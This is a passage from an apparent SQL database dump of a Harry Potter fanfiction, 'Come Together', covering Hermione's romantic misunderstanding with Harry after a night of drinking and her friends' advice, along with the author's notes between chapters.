just tell him I\'m going back upstairs -- \n<br><br>\nThe bathroom door opened and Harry stepped out again, damp hair in tendrils across his forehead. Hermione had the fleeting thought that if she lived to be six hundred with the aid of a Philosopher\'s Stone she\'d never be able to get used to the sight of Harry in nothing but worn Quidditch corduroys. Thank Merlin that he was drunk and probably wouldn\'t notice the blush that seemed to have taken up permanent residence on her cheeks.\n<br><br>\n&quot;Let me get you some water,&quot; Hermione said quickly. &quot;You get in bed, all right?&quot;\n<br><br>\n&quot;Okay.&quot; Harry was still giving her that lopsided smile. He ran a hand through his hair and stumbled into the bedroom while Hermione found a glass and filled it and tried not to think about Harry waiting for her.\n<br><br>\n&quot;I\'d make you a potion but my wand\'s upstairs,&quot; she called, heading for the bedroom. &quot;I can make it for you tomorrow morning, though. You really should take it first thing -- &quot;\n<br><br>\nHarry was sitting on the edge of his bed in his boxer shorts. Scarlet with gold snitches. She almost spilled the glass of water all over herself when she saw him. He smiled sheepishly at her.\n<br><br>\n&quot;Well come on, into bed,&quot; she stuttered, handing him the glass a bit more forcefully than she meant to.\n<br><br>\nHarry took a swig and slid under his blankets. &quot;Thanks, Hermione,&quot; he murmured, setting the glass precariously next to his bed. &quot;<i>Nox</i>.&quot;\n<br><br>\nThe lights went out. Trust Harry to be able to perform magic drunk out of his gourd without the aid of a wand. \n<br><br>\n&quot;Harry, your glasses -- &quot; Without thinking, Hermione leaned forward and slipped the familiar wire frames off his face. \n<br><br>\nHarry\'s hand closed around hers. She felt her knees give way with surprise and sat down on the bed with a startled thump.\n<br><br>\n&quot;Hermione,&quot; he mumbled, eyes bleary and half-open -- even drunk and half-asleep, he never called her by anything other than her full name, so unlike Ron -- &quot;Hermione, I... &quot;\n<br><br>\nHermione thought her hand might be trembling in his. &quot;What is it?&quot; she whispered.\n<br><br>\n&quot;I love you, d\'you know that?&quot; His eyes were closed now.\n<br><br>\nBest friends, screamed Hermione\'s mind. He doesn\'t know what he\'s saying, he\'s not making sense. You can\'t let yourself think -- \n<br><br>\n&quot;I love you too, Harry -- &quot;\n<br><br>\n&quot;No,&quot; he murmured, shaking his head against the pillow. &quot;S\' not what I mean... I can\'t tell you... &quot; He was fighting drowsiness as it swept over him. &quot;I want to. I want to so badly... and I can\'t.&quot;\n<br><br>\n&quot;What do you mean?&quot;\n<br><br>\nBut a soft snore told her that Harry was asleep.\n<br><br>\nHermione took her shaking hand from his and set down his glasses. She could make out the outline of his inky hair against the pillow, his broad chest rising and falling. \n<br><br>\nAnd then Practical Hermione left the building.\n<br><br>\nLeaning forward, she pressed her lips to Harry\'s forehead. It was wonderful. A quick, soft kiss -- he\'d never know --\n<br><br>\nHarry\'s breathing changed; his eyes fluttered open, and almost unconsciously he tilted his head and his lips met hers.\n<br><br>\nIt was the single sweetest kiss in the world.\n<br><br>\nAnd then he mumbled and shifted, and his breathing was deep and regular again, and Hermione was freefalling through the night sky.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n\n\n\n\n'),
	(8, 5, '\n<b>Come Together</b><br><br>\n<b>Disclaimer:</b> This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended.\n<br><br>\n<b>Author\'s Note:</b> We have now reached the angst portion of our journey. Please keep your hands and arms inside the cart at all times.<br>\nThis is a short chapter, breaking the trend of the increasingly long tomes that were getting harder and harder to finish. The good news is, I hope to have the next installment up very soon. Look for a conclusion by mid-April.\n<br><br>\n\n<b>Chapter Five</b>: Just the Facts\n<br><br>\n<i>if you ever feel neglected<br>\nif you think that all is lost<br>\ni\'ll be counting up my demons, yeah<br>\nhoping everything\'s not lost<br><br>\n</i>\n- Coldplay, &quot;Everything\'s Not Lost&quot;\n\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nHis head was pounding, and every beat of his heart sent a fresh ache through his temples, and the light that was threatening to spill from the cracks around the curtains was burning the backs of his eyelids like fire. When he did open his eyes a fresh throb shot through his head and the room was simply not dark enough and he thought fuzzily that whoever invented morning really ought to be smacked around a bit. \n<br><br>\nHe saw fuzzily as well. He couldn\'t recall why until his hand groped his bedside table out of habit and he remembered his glasses.\n<br><br>\nThen he remembered something else.\n<br><br>\nAnd he peered blearily at the glass of water by his bed, and remembered how it got there, and as he closed his eyes again and jammed a pillow over his pounding head he couldn\'t stop smiling.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nHermione\'s kitchen was awash in golden morning light, as usual, and Crookshanks was purring and butting his orange head up against her shins, and the kettle was whistling merrily, and this morning Hermione\'s heart was whistling right along with it.\n<br><br>\nShe\'d prided herself over the years on her powers of deduction. Ron was good at strategy, and Harry was as brave as they came, but Hermione knew that she had no match when it came to piecing together bits of information. And this morning she\'d come to a rather astounding conclusion, one that had hit her over the head with the force of a Whomping Willow and left her giddy and glowing and most un-Granger-like.\n<br><br>\nIt was a distinct possibility that Harry had feelings for her.\n<br><br>\nMaybe.\n<br><br>\nHermione stirred her tea and gazed out the sun-drenched window and smiled hugely at no one in particular. She was currently replaying a series of scenes in her mind, images set in her memory like burning question marks, tiny interactions that had flitted through her head ever since she\'d arrived at Orthagon Alley. The brush of his thumb on her cheek, the lingering gaze he\'d given her&#8230; <i>I think you look wonderful</i>&#8230; the afternoon they\'d spent in this very kitchen, laughing and making soup. There had been something there, she\'d felt it, she just hadn\'t been able to believe it. Or she hadn\'t let herself believe it. \n<br><br>\nAnd the dance --  <i>you\'re perfect</i> -- \n<br><br>\nAnd then last night.\n<br><br>\nCould it be that she\'d been blind to his feelings because she\'d been so terrified of her own?\n<br><br>\nWhat she wouldn\'t give for a Pensieve - but they were so expensive, and terribly hard to come by -- \n<br><br>\nBustling about the kitchen, cleaning up the last traces of toast and jam and tea, Hermione felt more like herself than she had in ages. Her rationality had finally prevailed, and her reasoning had pointed her towards a conclusion that was making her heart turn small flips every five minutes. What\'s more, it was a logical conclusion, and definitely not the impulsive wibblings of an irrational witch who had just been kissed. \n<br><br>\nWell, she had in fact just been kissed. But she was certain that it had not interfered with her judgement in this particular area. She felt sure that she could stand in front of a panel of Hornswoggle professors and prove that Harry had feelings for her, and then go on to illustrate her proof with charts, diagrams, and an annotated timeline.\n<br><br>\nOf course, she had no idea what to do with this information, but that didn\'t seem important at the moment. She\'d promised to make Harry a batch of Dionysian Potion this morning -- Lord knew he\'d be needing it -- and after that --\n<br><br>\nHermione didn\'t have a plan. Just seeing Harry would be enough. \n<br><br>\nShe pulled on jeans and her favorite jumper and stopped to check her reflection in the mirror. Her hair was bushy as usual, but somehow its exuberance seemed to match her mood. She\'d set out the ingredients for the potion the night before, in her dazed state, and as she checked them over methodically and piled them into her small portable cauldron -- pewter, size one -- she thought of green eyes and ale and suddenly she couldn\'t get down the stairs fast enough.\n<br><br>\nHarry\'s apartment was much as she\'d left it the night before; his bedroom door was closed, and his muddy Quidditch robes were pooled on the floor next to the couch. Heart beating fast, Hermione arranged her ingredients on the kitchen counter and whispered a quick <i>Incendio</i> to light the stove underneath her cauldron. In a few moments the kitchen was filled with the sharp smell of citrus peel and cloves and Sobrietus mint, and Hermione busied herself with shredding tiny pieces of celeriac and adding them to the mixture judiciously as the potion turned from red to green to a rather appealing golden color. All too soon she was standing in front of Harry\'s closed bedroom door with a mug of steaming liquid and cursing herself for being so bloody quick at brewing potions.\n<br><br>\nShe took a breath, then knocked gently, sliding the door open a crack. Her heart was now pounding in her ears and she almost felt like singing and fainting at the same time. &quot;Harry?&quot;\n<br><br>\nSilence, then the shift and creak of a mattress. &quot;Mmm?&quot;\n<br><br>\nHarry\'s voice was warm and deep and hoarse, thick with sleep. Hermione tried to steady her breathing. &quot;It\'s me. I\'ve brought you some Dionysian potion.&quot;\n<br><br>\n&quot;Oh, come in.&quot; He sounded dazed, pleasantly surprised. &quot;I\'m awake. I think.&quot;\n<br><br>\nThe Seeker for England\'s recently victorious National Quidditch team was tangled in a mess of sheets, pillows piled near his head, and he squinted up at her as she slid the door open. His hair was in fantastic disarray, and his eyes were bottle-green and red-rimmed. &quot;Hi,&quot; he croaked, wincing as light flooded the room from the open door.\n<br><br>\nHermione felt color creeping into her cheeks. &quot;I thought you might, er, want some of this.&quot;\n<br><br>\nHarry\'s face split into a sheepish smile. &quot;You have <i>no</i> idea,&quot; he said, struggling to sit up with a groan. He fumbled for his glasses, his eyes locked on Hermione\'s: guileless, slightly unfocused, first-year-Harry eyes. He took the steaming mug of potion, and as his hand brushed her fingers Hermione felt something akin to an electric shock at his touch. She nearly shuddered with the force of it. \n<br><br>\nHarry quickly drained the mug, pressing the hot ceramic to his forehead with a sigh, long fingers wrapped around it as if they were gripping a lifeline. He looked up, breathing deeply. &quot;You\'re my savior, you know that?&quot;\n<br><br>\n&quot;Oh honestly, Harry.&quot; Hermione perched on the edge of the bed. &quot;You\'d have made it yourself if I hadn\'t done it.&quot;\n<br><br>\n&quot;I doubt I could have found my way to the kitchen this morning without a map,&quot; Harry said, his eyes imperceptibly clearer, the rasp in his voice fading. &quot;And you know that potions aren\'t my forte. Visions of Snape wouldn\'t have been good for my stomach, anyway.&quot;\n<br><br>\nHermione laughed, and when she looked back at Harry she saw that he was studying her, his mouth quirked in a peculiar half-smile. &quot;I&#8230; er&#8230; I hope I didn\'t do anything too embarrassing last night,&quot; he ventured.\n<br><br>\nNothing I wouldn\'t like to do again, Hermione thought, then went pale with the fear that she\'d spoken it aloud. She groped for a coherent thought, something casual, something Hermione Granger might be likely to say to her best friend instead of leaning forward to kiss him until she couldn\'t breathe. &quot;You mean, apart from the naked dancing on the balcony?&quot; she said breezily.\n<br><br>\nHarry smiled, not missing a beat. &quot;Right, and my recitation of Gilderoy Lockhart\'s collected works for the patrons of the Leaky Cauldron.&quot;\n<br><br>\n&quot;Oh, apart from that? Let me think.&quot; They were both grinning now, ridiculous ear-splitting smiles. &quot;You do recall your lap dance for Millicent Bulstrode?&quot;\n<br><br>\n&quot;Vaguely. Was I dressed as Neville\'s grandmother?&quot; \n<br><br>\nHarry arched an eyebrow at her, and it was all over. Five minutes later Hermione was dabbing at the corners of her eyes, her sides aching, while Harry clutched his stomach helplessly. &quot;Can\'t laugh,&quot; he panted finally. &quot;Too sore from yesterday.&quot;\n<br><br>\n&quot;You were amazing,&quot; Hermione said, visions of the red-robed Harry-blur swimming into her mind.\n<br><br>\nHarry was studying her again. &quot;And how would you know?&quot; he teased.\n<br><br>\n&quot;I watched this time!&quot;\n<br><br>\n&quot;Did you?&quot; Harry\'s eyes were clear fresh green, and she felt that sensation again, the feeling that if she could just lean forward she would fall into him, know what he was thinking, and he was wearing that lopsided Harry grin and maybe he knew what she was thinking too --\n<br><br>\n&quot;You\'re going to the World Cup,&quot; she murmured, trying to keep a loose hold on reality.\n<br><br>\n&quot;I am.&quot; A brilliant smile was spreading across Harry\'s face, and he swung his legs over the side of the bed to sit next to her. Damn Snitch boxers. Hermione felt her cheeks tingle with heat, but she was still hopelessly lost in his eyes, and as he moved closer she felt her heartbeat quicken. <i>This is it, this is really happening</i> --\n<br><br>\n&quot;Hermione, I -- &quot; \n<br><br>\n A harsh blaring noise made them both jump. It took a moment before Hermione realized it was coming from the living room: the butler\'s horn. She could make out a voice now, calling through the old brass pipes. &quot;\'Allo?&quot;\n<br><br>\nHarry was scrambling to his feet, an oddly flustered look on his face. &quot;Er -- I should get dressed -- &quot;\n<br><br>\n&quot;I\'ll get it.&quot; Hermione\'s voice sounded breathless in her own ears. Dazed, desperately missing the warmth that was Harry beside her, she flew into the living room to call into the horn above the doorway. &quot;Be right down!&quot;\n<br><br>\n&quot;Oh -- thank you.&quot; The voice sounded young, strangely accented. Maybe it\'s a reporter, Hermione thought, jogging lightly down the stairs, feeling as if she might float away entirely. Harry is going to the World Cup, after all. Maybe -- oh God, maybe someone heard him singing last night -- Rita Skeeter would give her left arm -- \n<br><br>\nWhen she opened the door Hermione stared, unable to make sense of anything for a moment before realization struck her like a summoned pillow in the Charms classroom.\n<br><br>\nThe girl on the front steps made Risa Talbot look like Argus Filch. She was more fairy-like than real, her young face dominated by wide, ice-blue eyes and a rosy, cupid\'s-bow mouth. A long sheet of pale, flaxen hair framed her smooth features like a curtain and hung nearly to her waist. She was part Veela, certainly, and very familiar at that -- but this wasn\'t Fleur Delacour, though she did look extraordinarily like her. This girl was even more beautiful than Fleur, if such a thing was possible.\n<br><br>\n&quot;Good morning,&quot; said the girl, her rosy lips parting in a polite and ethereal smile. &quot;You are&#8230;. \'Ermione?&quot;\n<br><br>\n&quot;Yes,&quot; Hermione managed, blinking.\n<br><br>\n&quot;Gabrielle Delacour. I think we met once, long ago. The Triwizard Tournament&#8230; at the lake, at \'Ogwarts&#8230;&quot;\n<br><br>\n&quot;Of course.&quot; Hermione goggled at her. Gabrielle Delacour. How had she not recognized her? So beautiful now -- she\'d been so young, then -- six or seven at the most -- &quot;How nice to see you again.&quot;\n<br><br>\n&quot;Yes it is,&quot; said Gabrielle. &quot;So sorry to disturb you, you must have been up late.&quot;\n<br><br>\n&quot;Oh it\'s no bother, I was up early.&quot; Gabrielle\'s beauty was so distracting that Hermione found it was a strain to keep up a casual conversation. \n<br><br>\n&quot;Oh good,&quot; Gabrielle said. It was almost as if she sparkled, or gave off some elven kind of light -- &quot;\'Arry told me to come see him this morning,&quot; she continued, a faint flush rising in her cheeks. &quot;We met last night at a party.&quot;\n<br><br>\nHermione\'s spun-sugar mood crashed into pieces with the force of a full-grown mountain troll hitting the tile floor of a lavatory.\n<br><br>\n&quot;Oh,&quot; she said. Gabrielle\'s lilting words echoed emptily in her head like the tolling of a great cracked bell. <i>\'\'Arry told me to come see him</i>&#8230; <i>told me to come see him...</i> Hermione felt the smile freeze on her face as ice crept through her insides and threatened to stop her breath. &quot;Well, then. Come in, he\'s upstairs.&quot;\n<br><br>\nAnd as they walked quietly into the hallway of 231 Orthagon Alley, Hermione felt her life unravel.\n<br><br>\nAll the data Hermione had pieced together, that nebulous patchwork quilt of glances and touches, bits and pieces of conversations -- all of that was falling apart into tangled threads as she climbed the stairs with Gabrielle Delacour. Gabrielle, who presented the simplest and clearest answer of all: Harry had been drunk last night, and he didn\'t remember a thing he\'d said or done with Hermione. Clearly he\'d found Gabrielle at a party and something had happened between them&#8230; or the promise of something. Harry had been half-asleep and probably didn\'t even know his own name by the time he got home, by the time Hermione had washed his hair and he\'d been in bed mumbling incoherence and reaching up and unknowingly giving her a taste of the sweetest thing she\'d ever known.\n<br><br>\nIt was a simple case of cold, hard facts.\n<br><br>\nHermione Granger, of all people, should be able to see that.\n<br><br>\nHarry opened the door of his flat before they\'d even knocked. He was holding something in his hand, and though Hermione had been steeling herself to accept the cold, hard facts, it was something else entirely to be confronted with visual proof. Startled tears stung at the corners of her eyes, and she found that she could no longer look at Harry, at the seemingly innocuous object crumpled in his palm. How had she been so stupid? \n<br><br>\n&quot;Hi, Gabrielle, come in,&quot; Harry said, in a strained tone of voice. He was trying to catch Hermione\'s eye, but Hermione willed herself to look away, to stop falling towards Harry because there would only be hurt and the sickening feeling that she had been wrong, more wrong than she\'d ever been before, the brilliant Hermione Granger had been wrong. \n<br><br>\nShe heard rather than saw Harry say a See You Later and his door slid shut, and only then could Hermione look, just once, to see his striped Gryffindor tie knotted around the worn brass doorknob.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n&quot;Forget the bastard.&quot;\n<br><br>\nRon Weasley was lying on his mushroom-colored couch, a mug of Hermione\'s Dionysian Potion clutched in his hand, tossing leftover Canary Creams at Pigwidgeon. Scarlet and white rosettes, scarves, and banners were littered across the floor like confetti; a few bottles of champagne were still lined up on the kitchen counter, some half-open. One rosette was still managing to squeak out <i>&quot;Wood!&#8230; Hatfield!&#8230; Mason!&#8230; Spencer!&#8230; Jones!&#8230; Jackson!&#8230; POTTER!&quot;</i> every twenty minutes or so. \n<br><br>\nRon had come upstairs a few hours ago to beg Hermione for a mug of her hangover cure, and, upon seeing her face, had unceremoniously dragged her down to his apartment. &quot;If you don\'t tell me what\'s wrong, I\'ll put you in the Leg-Locker curse until you do, and I will not release you to use the toilet,&quot; he\'d said, glaring at her as best he could while trying not to look ill. After several other equally absurd threats, she\'d finally relented, and now she was slumped in a chair in Ron\'s flat, a box of Nester\'s No-Blow Nose Napkins at her side, eyes swollen and bleary. Her head was beginning to ache and she was sinking into a numbness beyond tears, a strange empty uncertainty.\n<br><br>\n&quot;Ron!&quot;\n<br><br>\n&quot;I\'m telling you, forget him,&quot; Ron said vehemently, hitting Pigwidgeon a bit too accurately with a pastry and cringing at the owl\'s squawk of protest. &quot;He\'s not worth it, Hermione.&quot;\n<br><br>\n&quot;Ron, I\'ve never felt this way about anyone.&quot; Her voice cracked with emotion. &quot;How can I just forget -- &quot;\n<br><br>\n&quot;\'Mione, listen to me. You\'ve done this before. I can\'t watch you do it a second time.&quot; His eyes met hers. &quot;I don\'t want you to see him again, however hard that might be.&quot;\n<br><br>\nHermione felt a sob building in her chest. Rare words from Ron, untinged with sarcasm, no joke or wink in his smile. He was right, Hermione thought. For once, Ron is the rational one. Listen to Ron. She reached for another Nose Napkin; it fluttered in front of her face and gave her nose a motherly squeeze before dabbing at her eyes.\n<br><br>\nTruth be told, Hermione had omitted one detail while explaining the situation to Ron. \n<br><br>\nShe\'d never actually mentioned Harry\'s name. \n<br><br>\nShe\'d poured out as much of the story as she could without giving away Harry\'s identity - no use pretending she wasn\'t upset, since that was about as believable as one of Professor Trelawney\'s predictions. She\'d met someone, she explained. He was&#8230; well-known, in certain circles. A bit famous, in fact. For the past few months she\'d begun to think that they had something special, something she\'d never felt before. He\'d looked at her in a way she couldn\'t describe, in a way that made her feel like they could almost talk without speaking. Then there had been an incident&#8230; and here she fudged the details. He had kissed her&#8230; but it might not have been a romantic kiss. She\'d gone to see him this morning, and it looked like he was seeing another girl. \n<br><br>\nNo need to say that his name was Harry Potter, and that he happened to be in the flat directly upstairs with said girl, and that just the night before she\'d been undressing him and running her hands through his hair and kissing him, or maybe he was kissing her, but there had been kissing and he may or may not have been conscious at the time. She was simply presenting the facts, while leaving out the bits of information that might cause Ron to have heart failure right in his own sitting room. \n<br><br>\n&quot;I don\'t understand,&quot; Ron said, sitting up and setting down his empty mug as Hermione\'s Nose Napkin flew gracefully into the wastebin of its own accord. &quot;Hermione, you\'re a brilliant girl. Smartest person I\'ve ever known. No, wait -- don\'t say anything.&quot; Hermione had begun to protest. &quot;You\'re one of the nicest people on earth, and you\'re lovely to look at. Any sane bloke would give his right arm to be with you. And yet you chase after these pompous, self-involved gits who don\'t give you the time of day because they\'re famous or important or something.&quot; He sighed, raking a hand through his bright hair. &quot;I wish you would tell me who this prat is. Is he another one of your professors from school? This is <i>exactly</i> what happened with David.&quot;\n<br><br>\nHermione shifted uncomfortably. &quot;Well, like I said, I don\'t know for sure if he\'s seeing that other girl -- &quot;\n<br><br>\n&quot;Don\'t stick around to find out this time.&quot; Ron stood quickly. &quot;Look, I\'m going to get Harry. He\'s much better at talking about this sort of thing than I am -- and you\'d better not tell <i>him</i> who this bloke is, because he may really go curse him this time -- &quot;\n<br><br>\n&quot;No -- wait!&quot; Hermione was on her feet in desperation. &quot;You can\'t get Harry -- &quot;\n<br><br>\nRon raised an eyebrow in puzzlement. &quot;What are you talking about?&quot;\n<br><br>\n&quot;He\'s -- I mean -- &quot; Hermione stammered, beginning to recover from a state of sheer panic. &quot;He got back really late last night, Ron,&quot; she said, falling into her usual bossy tone. &quot;He played in the World Cup Semifinals yesterday. I mean, really.&quot;\n<br><br>\nRon was still eyeing her skeptically. &quot;And if I know Harry, he\'d wade through a cage of full-grown Blast-Ended Skrewts to see you if he knew you were upset about something.&quot; \n<br><br>\n&quot;Well,&quot; Hermione huffed, fumbling for another excuse. Then she had it; not an excuse, but the truth. Her insides felt like ice again. &quot;There\'s a school tie on his door,&quot; she finished, sitting back down. &quot;I think he\'s&#8230; busy.&quot;\n<br><br>\n&quot;Oh, is that it,&quot; Ron said blankly, still looking at her in mild confusion. He seemed satisfied by this explanation, however, and sat back down on the sofa.  &quot;POTTER!!&quot; squeaked the discarded World Cup rosette, from somewhere near the kitchen. Hermione nearly fell out of her chair. \n<br><br>\n&quot;You all right?&quot; Ron was staring at her again with a befuddled look.\n<br><br>\n&quot;Just a little&#8230; out of sorts,&quot; she managed lamely. It was highly likely that she would end up in St.Mungo\'s after this incident.\n<br><br>\n&quot;Poor \'Mione. Come here.&quot; Ron held out his arms, and Hermione sat down heavily on the couch next to him and fell weakly into Ron\'s embrace. &quot;I know just what you need,&quot; Ron said, giving her a squeeze. &quot;You need to have some fun. Get out of the flat for a bit.&quot; He sat back on the couch. &quot;I\'m calling my sister.&quot;\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n&quot;Forget the bastard.&quot;\n<br><br>\nGinny Weasley was sitting in a shiny pink booth at Florean Fortescue\'s ice cream parlor, sipping a frothy pink soda through a pale green straw which perfectly matched the green barrette in her glossy red hair. It was a Sparkling Soda, and with each sip, multicolored sparks bubbled from the tall glass and drifted into the air around Ginny, floating around her neatly cut bob and landing on her nose, making her look even more freckly than usual.\n<br><br>\nAs usual, Ginny was dressed in a way that made Hermione feel as if she might as well be wearing her bathrobe in comparison. Today it was a pale green cardigan sweater and a matching wool plaid skirt, stockings, and shiny green shoes, with short pale pink wool winter robes trimmed with matching green fur. Some days, Hermione could hardly believe that the shy, quiet little girl who used to tag along after Ron and Harry  had become the outgoing, dynamic woman who was Ginny Weasley, Bestselling Author and Advice Columnist. After the runaway success of her first novel, <i>Riddle in the Dark: My Secret Life With You-Know-Who</i>, Ginny had been immediately offered a job at the <i>Daily Prophet</i> after graduating from Hogwarts. She was currently writing a syndicated advice column that appeared in the <i>Prophet</i> and in <i>Witch Weekly</i>, &quot;Ask Ginny: Love and Romance for the Modern Witch.&quot;\n<br><br>\nKnowing Ginny\'s stellar qualifications for dishing out romantic counsel still didn\'t make it any less surprising to hear the once soft-spoken redhead voice her opinion on Hermione\'s current situation.\n<br><br>\n&quot;Ginny!&quot;\n<br><br>\n&quot;What?&quot; Ginny took another sip of soda, wrinkling her nose at another flurry of sparks. &quot;I\'m just telling you what you need to hear, Hermione. Sometimes it\'s hard to accept unless someone tells you straight out.&quot;\n<br><br>\n &quot;I know.&quot; Hermione prodded at her unfinished banana split. &quot;It\'s just -- that\'s exactly what your brother said.&quot;\n<br><br>\n&quot;Did he?&quot; Ginny raised her eyebrows, her freckled face splitting into a wide smile. &quot;My brother, Ron Weasley, gave you the same advice? Maybe I should go into another line of work.&quot; \n<br><br>\n&quot;Oh, don\'t be silly.&quot; Hermione was smiling now, though she still felt shaken, disconnected. &quot;You\'re both probably right. I just&#8230; thought I had everything figured out, you know.&quot; She looked down at her melting ice cream, the chocolate leaking into the pumpkin ripple. &quot;I hate being wrong.&quot;\n<br><br>\n&quot;You\'re not wrong very often,&quot; Ginny said matter-of-factly. &quot;Hermione, I don\'t know this bloke, but I do know what happened to you before, and it sounds like history repeating itself. I remember what you said about David&#8230; how you felt about him. You thought he was the real thing. And it turned out he was shagging half the girls in your study session or something.&quot;\n<br><br>\nHermione nodded. &quot;I know.&quot;\n<br><br>\n&quot;See&#8230; I did the same thing,&quot; Ginny said, stirring her soda and taking another sip. &quot;I understand completely. I spent most of my time at school following boys around who didn\'t know I existed, because I was too insecure to pay attention to anyone who actually appreciated me. And I ended up even more insecure, because I just set myself up for disappointment again and again.&quot; She blushed slightly and tucked a strand of hair behind one ear. &quot;Well, and sometimes I ended up killing roosters and things.&quot;\n<br><br>\n&quot;That was different!&quot;\n<br><br>\n&quot;Not really.&quot; Ginny twirled her straw. &quot;Tom was just using me because he could, because of my feelings for him. He didn\'t care if I lived or died.&quot;\n<br><br>\n&quot;Well of course not, Ginny, he was You-Know-Who.&quot;\n<br><br>\n&quot;But still,&quot; Ginny protested. &quot;All right, that was a bad example. Harry Potter.&quot; At the mention of Harry\'s name Hermione felt her cheeks burn, but Ginny didn\'t seem to notice. &quot;I followed Harry around for the better part of six years, and you know he\'s a lovely guy, and he was always nice to me. A good friend, even. But I wasted all my time pining over him, just like every other girl who had a crush on the famous Boy Who Lived, and I never noticed any of the other boys who were taking a real interest in me.&quot; She smiled. &quot;Like Colin.&quot;\n<br><br>\nColin Creevey was now a photographer for the <i>Daily Prophet</i>, and it seemed that Ginny had finally noticed the eager, enthusiastic year-mate who had stopped tailing Harry Potter years ago and started admiring her instead. Hermione smiled back. She wished Ginny would stop making so much damn sense.\n<br><br>\nGinny placed a hand on Hermione\'s. &quot;Take some time for yourself,&quot; she said earnestly. &quot;Enjoy school. Go to the bookstore, or the library. Do whatever it is you like to do best. Forget this prat&#8230; like I forgot Harry. Whoever this man is&#8230; he\'s <i>your</i> Harry Potter.&quot;\n<br><br>\nHermione\'s mouth went dry. Your Harry Potter. Forget your Harry Potter.\n<br><br>\nIf only Ginny knew.\n<br><br>\nForget Harry.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThe days were shorter and colder, and the cobblestones of Orthagon Alley were most often black and slicked with rain. Tiny spangled lights hung in the windows of Warburton\'s Market and Dugbog\'s Books, and a Christmas tree three times the size of Hagrid was going up in the center of the small park at the end of the street. Delicious smells wafted from Penfold\'s, the neighborhood bakery: pumpkin pasties, flaming plum puddings, light-as-air fairy cakes dusted with powdered sugar. Smoke curled from the chimneys of the old Alley houses, huddled around the Christmas tree as if warming their hands by a fire. \n<br><br>\nYet at this time of year, surrounded by the warmth and light of the approaching holiday season, 231 Orthagon Alley felt as cold and strange as the Potions classroom on a bleak winter day.\n<br><br>\nHermione had forgotten Harry Potter.\n<br><br>\nIn his absence was a gaping hole, something that gnawed and ached and never entirely went away. Since that day she\'d walked up the stairs with Gabrielle Delacour, she\'d made a resolution. A rational, logical resolution. She\'d speak to Harry when she had to; she\'d visit him enough to maintain their friendship at a respectful distance. She\'d be perfectly nice in every way. But she would never let herself fall into his eyes again, never let him get close enough to engulf her senses and fill her head and lungs and heart.\n<br><br>\nSo she\'d gone to class, falling into books instead, offering to help in the library, filling her schedule with extra courses until she was on the verge of needing a Time-Turner. Her professors were awed. She\'d received an Owl informing her that she\'d been chosen to receive top honors at the end-of-term banquet. Yet when she tore open the letter, it felt like she\'d been sentenced to Azkaban.\n<br><br>\nHermione wasn\'t the only one who was markedly absent from the cozy brick house. Though she was away from her flat as much as physically possible, it seemed Ron was gone even more than she was. Sometime soon after the World Cup semifinal, he\'d disappeared in a blur of work and pub visits and excuses to miss Sunday dinner. Maybe he\'d noticed the uncomfortable distance between his two best friends, but it was unlikely, as Hermione guessed that he probably wouldn\'t have noticed if she invited two hundred house elves to move into the building and start their own sock factory. If someone hadn\'t been collecting his Daily Prophets and feeding Pigwidgeon, Hermione would have almost suspected Ron of keeping two other flats just for fun. \n<br><br>\nHarry was home, most likely, but doing what, Hermione didn\'t know. He had a few practices and team meetings a week, but those were dwindling as the weather grew colder. His lights were usually on. \n<br><br>\nLate at night, curled in her windowseat, watching rain fall on the cobblestones below, Hermione wondered how they could all live so close together, and feel so far apart.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nHe stared out the window, watching her disappear into the rain, as he did almost every day. The rain slid from her black cloak... she\'d taught him that charm, once&#8230; <i>Impervio</i>... and slid down his windowpane, blurring his view as she vanished down the narrow street.\n<br><br>\nHe\'d been so close. So close, and yet she\'d slipped away, slipped like a drop of water from her cloak, like the rain on his window. \n<br><br>\nHe\'d lost her, just as he\'d feared. She\'d seen too much. He could tell Ron felt the same; Ron had seen it too. He didn\'t blame either of them.\n<br><br>\nHe could only sit at the window and watch her vanish, day after day.\n<br><br>\n~ ~ ~ ~ ~\n\n\n\n'),
	(8, 6, ' Dear Readers of Come Together, I\'m really sorry that the next update has taken so long. Unless you read my Yahoo! Group or my LJ, you probably don\'t know that in late April I had a baby, so writing fanfic is very difficult for me at the moment. (I don\'t usually have two hands to type when I sit down at the PC.) I do have a significant portion of the next chapter written, but please be patient. It may be a few weeks yet before my daughter sleeps enough to let me write again. Thanks for reading! Cheers, Ali ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(8, 7, ' \n\n\n\n<title>come together</title>\n\n\n\n<font size="+1"><b>Come Together</b></font><br>\n\n\n<br>\n\n\n<b>Disclaimer:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. <br>\n\n\n<br>\n\n\n<b>Author\'s Note and Assorted Feeble Excuses:</b> I wrote this chapter while I was totally distracted by the imminence of having a baby, and then totally distracted by the reality of having a baby. I kept thinking I should wait to post it until I had a chance to edit it while I was feeling more rational, but now that I\'ve been doing the baby thing for a while I realize I will never be in my right mind again. ;) This chapter was originally going to include a few more events, but I figured at over 5,000 words I should probably just post this. Hope you enjoy, and sorry that my brain is on permanent holiday. Thanks to everyone who has stuck around waiting for me to update! <br>\n\n\n<br>\n\n\n<b>Chapter Six</b>: Get Back <br>\n\n\n<br>\n\n\n<i>remember when you were young<br>\n you shone like the sun<br>\n shine on you crazy diamond<br>\n now there\'s a look in your eyes<br>\n like black holes in the sky<br>\n shine on you crazy diamond<br>\n you were caught on the crossfire<br>\n of childhood and stardom<br>\n blown on the steel breeze</i><br>\n\n\n<br>\n -- &quot;Shine On You Crazy Diamond,&quot; Pink Floyd <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n What happened next was shattering, and astonishing, and inevitable, and yet it happened purely by accident. <br>\n\n\n<br>\n Or at least, looking back, Hermione liked to think so. <br>\n\n\n<br>\n It was a grey, drizzly morning in December, and six reams of parchment for an Experimental Biomorphancy class project were spread across Hermione\'s kitchen table, along with two novels, seven 